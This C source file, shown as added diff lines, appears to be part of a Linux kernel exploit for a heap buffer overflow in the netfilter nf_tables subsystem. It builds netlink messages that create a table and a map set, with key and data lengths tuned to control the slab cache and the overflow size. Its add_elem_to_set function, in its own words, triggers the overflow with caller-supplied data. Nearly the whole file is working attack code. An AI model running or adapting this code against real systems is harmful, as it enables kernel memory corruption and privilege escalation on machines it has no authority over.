| 1 | + | #include <stdlib.h> |
| 2 | + | #include <stdio.h> |
| 3 | + | #include <stdint.h> |
| 4 | + | #include <unistd.h> |
| 5 | + | #include <linux/netfilter.h> |
| 6 | + | #include <linux/netfilter/nfnetlink.h> |
| 7 | + | #include <linux/netfilter/nf_tables.h> |
| 8 | + | #include <string.h> |
| 9 | + | #include <sys/socket.h> |
| 10 | + | #include <linux/netlink.h> |
| 11 | + | #include <string.h> |
| 12 | + | |
| 13 | + | #include "netlink.h" |
| 14 | + | #include "nf_tables.h" |
| 15 | + | #include "log.h" |
| 16 | + | |
| 17 | + | const uint8_t zerobuf[0x40] = {0}; |
| 18 | + | |
| 19 | + | /** |
| 20 | + | * create_table(): Register a new table for the inet family |
| 21 | + | * @sock: socket bound to the netfilter netlink |
| 22 | + | * @name: Name of the new table |
| 23 | + | */ |
| 24 | + | void create_table(int sock, const char *name) { |
| 25 | + | struct msghdr msg; |
| 26 | + | struct sockaddr_nl dest_snl; |
| 27 | + | struct iovec iov[3]; |
| 28 | + | struct nlmsghdr *nlh_batch_begin; |
| 29 | + | struct nlmsghdr *nlh; |
| 30 | + | struct nlmsghdr *nlh_batch_end; |
| 31 | + | struct nlattr *attr; |
| 32 | + | struct nfgenmsg *nfm; |
| 33 | + | |
| 34 | + | /* Destination preparation */ |
| 35 | + | memset(&dest_snl, 0, sizeof(dest_snl)); |
| 36 | + | dest_snl.nl_family = AF_NETLINK; |
| 37 | + | memset(&msg, 0, sizeof(msg)); |
| 38 | + | |
| 39 | + | /* Netlink batch_begin message preparation */ |
| 40 | + | nlh_batch_begin = get_batch_begin_nlmsg(); |
| 41 | + | |
| 42 | + | /* Netlink table message preparation */ |
| 43 | + | nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE); |
| 44 | + | if (!nlh) |
| 45 | + | do_error_exit("malloc"); |
| 46 | + | |
| 47 | + | memset(nlh, 0, TABLEMSG_SIZE); |
| 48 | + | nlh->nlmsg_len = TABLEMSG_SIZE; |
| 49 | + | nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE; |
| 50 | + | nlh->nlmsg_pid = getpid(); |
| 51 | + | nlh->nlmsg_flags = NLM_F_REQUEST; |
| 52 | + | nlh->nlmsg_seq = 0; |
| 53 | + | |
| 54 | + | nfm = NLMSG_DATA(nlh); |
| 55 | + | nfm->nfgen_family = NFPROTO_INET; |
| 56 | + | |
| 57 | + | /** Prepare associated attribute **/ |
| 58 | + | attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)); |
| 59 | + | set_str8_attr(attr, NFTA_TABLE_NAME, name); |
| 60 | + | |
| 61 | + | /* Netlink batch_end message preparation */ |
| 62 | + | nlh_batch_end = get_batch_end_nlmsg(); |
| 63 | + | |
| 64 | + | /* IOV preparation */ |
| 65 | + | memset(iov, 0, sizeof(struct iovec) * 3); |
| 66 | + | iov[0].iov_base = (void *)nlh_batch_begin; |
| 67 | + | iov[0].iov_len = nlh_batch_begin->nlmsg_len; |
| 68 | + | iov[1].iov_base = (void *)nlh; |
| 69 | + | iov[1].iov_len = nlh->nlmsg_len; |
| 70 | + | iov[2].iov_base = (void *)nlh_batch_end; |
| 71 | + | iov[2].iov_len = nlh_batch_end->nlmsg_len; |
| 72 | + | |
| 73 | + | /* Message header preparation */ |
| 74 | + | msg.msg_name = (void *)&dest_snl; |
| 75 | + | msg.msg_namelen = sizeof(struct sockaddr_nl); |
| 76 | + | msg.msg_iov = iov; |
| 77 | + | msg.msg_iovlen = 3; |
| 78 | + | |
| 79 | + | sendmsg(sock, &msg, 0); |
| 80 | + | |
| 81 | + | /* Free used structures */ |
| 82 | + | free(nlh_batch_end); |
| 83 | + | free(nlh); |
| 84 | + | free(nlh_batch_begin); |
| 85 | + | } |
| 86 | + | |
| 87 | + | /** |
| 88 | + | * create_set(): Create a netfilter set |
| 89 | + | * @sock: Socket used to communicate throught the netfilter netlink |
| 90 | + | * @set_name: Name of the created set |
| 91 | + | * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache |
| 92 | + | * @data_len: Length of stored data. Used to control the size of the overflow |
| 93 | + | * @table_name: Name of the table that stores this set |
| 94 | + | * @id: ID of the created set |
| 95 | + | */ |
| 96 | + | void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) { |
| 97 | + | struct msghdr msg; |
| 98 | + | struct sockaddr_nl dest_snl; |
| 99 | + | struct nlmsghdr *nlh_batch_begin; |
| 100 | + | struct nlmsghdr *nlh_payload; |
| 101 | + | struct nlmsghdr *nlh_batch_end; |
| 102 | + | struct nfgenmsg *nfm; |
| 103 | + | struct nlattr *attr; |
| 104 | + | uint64_t nlh_payload_size; |
| 105 | + | struct iovec iov[3]; |
| 106 | + | |
| 107 | + | /* Prepare the netlink sockaddr for msg */ |
| 108 | + | memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); |
| 109 | + | dest_snl.nl_family = AF_NETLINK; |
| 110 | + | |
| 111 | + | /* First netlink message: batch_begin */ |
| 112 | + | nlh_batch_begin = get_batch_begin_nlmsg(); |
| 113 | + | |
| 114 | + | /* Second netlink message : Set attributes */ |
| 115 | + | nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory |
| 116 | + | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE |
| 117 | + | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME |
| 118 | + | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID |
| 119 | + | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN |
| 120 | + | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS |
| 121 | + | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE |
| 122 | + | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN |
| 123 | + | nlh_payload_size = NLMSG_SPACE(nlh_payload_size); |
| 124 | + | |
| 125 | + | /** Allocation **/ |
| 126 | + | nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); |
| 127 | + | if (!nlh_payload) |
| 128 | + | do_error_exit("malloc"); |
| 129 | + | |
| 130 | + | memset(nlh_payload, 0, nlh_payload_size); |
| 131 | + | |
| 132 | + | /** Fill the required fields **/ |
| 133 | + | nlh_payload->nlmsg_len = nlh_payload_size; |
| 134 | + | nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; |
| 135 | + | nlh_payload->nlmsg_pid = getpid(); |
| 136 | + | nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; |
| 137 | + | nlh_payload->nlmsg_seq = 0; |
| 138 | + | |
| 139 | + | |
| 140 | + | /** Setup the nfgenmsg **/ |
| 141 | + | nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); |
| 142 | + | nfm->nfgen_family = NFPROTO_INET; |
| 143 | + | |
| 144 | + | /** Setup the attributes */ |
| 145 | + | attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); |
| 146 | + | attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name); |
| 147 | + | attr = set_str8_attr(attr, NFTA_SET_NAME, set_name); |
| 148 | + | attr = set_u32_attr(attr, NFTA_SET_ID, id); |
| 149 | + | attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen); |
| 150 | + | attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP); |
| 151 | + | attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0); |
| 152 | + | set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len); |
| 153 | + | |
| 154 | + | /* Last netlink message: batch_end */ |
| 155 | + | nlh_batch_end = get_batch_end_nlmsg(); |
| 156 | + | |
| 157 | + | /* Setup the iovec */ |
| 158 | + | memset(iov, 0, sizeof(struct iovec) * 3); |
| 159 | + | iov[0].iov_base = (void *)nlh_batch_begin; |
| 160 | + | iov[0].iov_len = nlh_batch_begin->nlmsg_len; |
| 161 | + | iov[1].iov_base = (void *)nlh_payload; |
| 162 | + | iov[1].iov_len = nlh_payload->nlmsg_len; |
| 163 | + | iov[2].iov_base = (void *)nlh_batch_end; |
| 164 | + | iov[2].iov_len = nlh_batch_end->nlmsg_len; |
| 165 | + | |
| 166 | + | /* Prepare the message to send */ |
| 167 | + | memset(&msg, 0, sizeof(struct msghdr)); |
| 168 | + | msg.msg_name = (void *)&dest_snl; |
| 169 | + | msg.msg_namelen = sizeof(struct sockaddr_nl); |
| 170 | + | msg.msg_iov = iov; |
| 171 | + | msg.msg_iovlen = 3; |
| 172 | + | |
| 173 | + | /* Send message */ |
| 174 | + | sendmsg(sock, &msg, 0); |
| 175 | + | |
| 176 | + | /* Free allocated memory */ |
| 177 | + | free(nlh_batch_end); |
| 178 | + | free(nlh_payload); |
| 179 | + | free(nlh_batch_begin); |
| 180 | + | } |
| 181 | + | |
| 182 | + | /** |
| 183 | + | * add_elem_to_set(): Trigger the heap buffer overflow |
| 184 | + | * @sock: Socket used to communicate throught the netfilter netlink |
| 185 | + | * @set_name: Name of the set to add the element |
| 186 | + | * @set_keylen: Length of the keys of the previous set |
| 187 | + | * @table_name: Table associated to the preiv |
| 188 | + | * @id: ID of the previous set |
| 189 | + | * @data_len: Length of the data to copy. (= Size of the overflow - 16 ) |
| 190 | + | * @data: Data used for the overflow |
| 191 | + | * |
| 192 | + | * Submit two elements to add to the set. |
| 193 | + | * The first one is used to setup the data payload |
| 194 | + | * The second will trigger the overflow |
| 195 | + | */ |
| 196 | + | void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) { |
| 197 | + | struct msghdr msg; |
| 198 | + | struct sockaddr_nl dest_snl; |
| 199 | + | struct nlmsghdr *nlh_batch_begin; |
| 200 | + | struct nlmsghdr *nlh_payload; |
| 201 | + | struct nlmsghdr *nlh_batch_end; |
| 202 | + | struct nfgenmsg *nfm; |
| 203 | + | struct nlattr *attr; |
| 204 | + | uint64_t nlh_payload_size; |
| 205 | + | uint64_t nested_attr_size; |
| 206 | + | size_t first_element_size; |
| 207 | + | size_t second_element_size; |
| 208 | + | struct iovec iov[3]; |
| 209 | + | |
| 210 | + | /* Prepare the netlink sockaddr for msg */ |
| 211 | + | memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); |
| 212 | + | dest_snl.nl_family = AF_NETLINK; |
| 213 | + | |
| 214 | + | /* First netlink message: batch */ |
| 215 | + | nlh_batch_begin = get_batch_begin_nlmsg(); |
| 216 | + | |
| 217 | + | /* Second netlink message : Set attributes */ |
| 218 | + | |
| 219 | + | /** Precompute the size of the nested field **/ |
| 220 | + | nested_attr_size = 0; |
| 221 | + | |
| 222 | + | /*** First element ***/ |
| 223 | + | nested_attr_size += sizeof(struct nlattr); // Englobing attribute |
| 224 | + | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY |
| 225 | + | nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE |
| 226 | + | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA |
| 227 | + | nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE |
| 228 | + | first_element_size = nested_attr_size; |
| 229 | + | |
| 230 | + | /*** Second element ***/ |
| 231 | + | nested_attr_size += sizeof(struct nlattr); // Englobing attribute |
| 232 | + | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY |
| 233 | + | nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE |
| 234 | + | nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA |
| 235 | + | nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT |
| 236 | + | nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE |
| 237 | + | second_element_size = nested_attr_size - first_element_size; |
| 238 | + | |
| 239 | + | nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory |
| 240 | + | nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS |
| 241 | + | nlh_payload_size += nested_attr_size; // All the stuff described above |
| 242 | + | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE |
| 243 | + | nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET |
| 244 | + | nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID |
| 245 | + | nlh_payload_size = NLMSG_SPACE(nlh_payload_size); |
| 246 | + | |
| 247 | + | /** Allocation **/ |
| 248 | + | nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); |
| 249 | + | if (!nlh_payload) { |
| 250 | + | do_error_exit("malloc"); |
| 251 | + | } |
| 252 | + | memset(nlh_payload, 0, nlh_payload_size); |
| 253 | + | |
| 254 | + | /** Fill the required fields **/ |
| 255 | + | nlh_payload->nlmsg_len = nlh_payload_size; |
| 256 | + | nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM; |
| 257 | + | nlh_payload->nlmsg_pid = getpid(); |
| 258 | + | nlh_payload->nlmsg_flags = NLM_F_REQUEST; |
| 259 | + | nlh_payload->nlmsg_seq = 0; |
| 260 | + | |
| 261 | + | /** Setup the nfgenmsg **/ |
| 262 | + | nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); |
| 263 | + | nfm->nfgen_family = NFPROTO_INET; |
| 264 | + | |
| 265 | + | /** Setup the attributes */ |
| 266 | + | attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); |
| 267 | + | attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name); |
| 268 | + | attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name); |
| 269 | + | attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id); |
| 270 | + | attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size); |
| 271 | + | |
| 272 | + | /*** First element ***/ |
| 273 | + | attr = set_nested_attr(attr, 0, first_element_size - 4); |
| 274 | + | attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen)); |
| 275 | + | attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen); |
| 276 | + | attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len)); |
| 277 | + | attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len); |
| 278 | + | |
| 279 | + | /*** Second element ***/ |
| 280 | + | attr = set_nested_attr(attr, 0, second_element_size - 4); |
| 281 | + | attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen)); |
| 282 | + | attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen); |
| 283 | + | attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr)); |
| 284 | + | attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE); |
| 285 | + | set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE); |
| 286 | + | |
| 287 | + | /* Last netlink message: End of batch */ |
| 288 | + | nlh_batch_end = get_batch_end_nlmsg(); |
| 289 | + | |
| 290 | + | /* Setup the iovec */ |
| 291 | + | memset(iov, 0, sizeof(struct iovec) * 3); |
| 292 | + | iov[0].iov_base = (void *)nlh_batch_begin; |
| 293 | + | iov[0].iov_len = nlh_batch_begin->nlmsg_len; |
| 294 | + | iov[1].iov_base = (void *)nlh_payload; |
| 295 | + | iov[1].iov_len = nlh_payload->nlmsg_len; |
| 296 | + | iov[2].iov_base = (void *)nlh_batch_end; |
| 297 | + | iov[2].iov_len = nlh_batch_end->nlmsg_len; |
| 298 | + | |
| 299 | + | /* Prepare the message to send */ |
| 300 | + | memset(&msg, 0, sizeof(struct msghdr)); |
| 301 | + | msg.msg_name = (void *)&dest_snl; |
| 302 | + | msg.msg_namelen = sizeof(struct sockaddr_nl); |
| 303 | + | msg.msg_iov = iov; |
| 304 | + | msg.msg_iovlen = 3; |
| 305 | + | |
| 306 | + | /* Send message */ |
| 307 | + | sendmsg(sock, &msg, 0); |
| 308 | + | |
| 309 | + | /* Free allocated memory */ |
| 310 | + | free(nlh_batch_end); |
| 311 | + | free(nlh_payload); |
| 312 | + | free(nlh_batch_begin); |
| 313 | + | } |
| 314 | + | |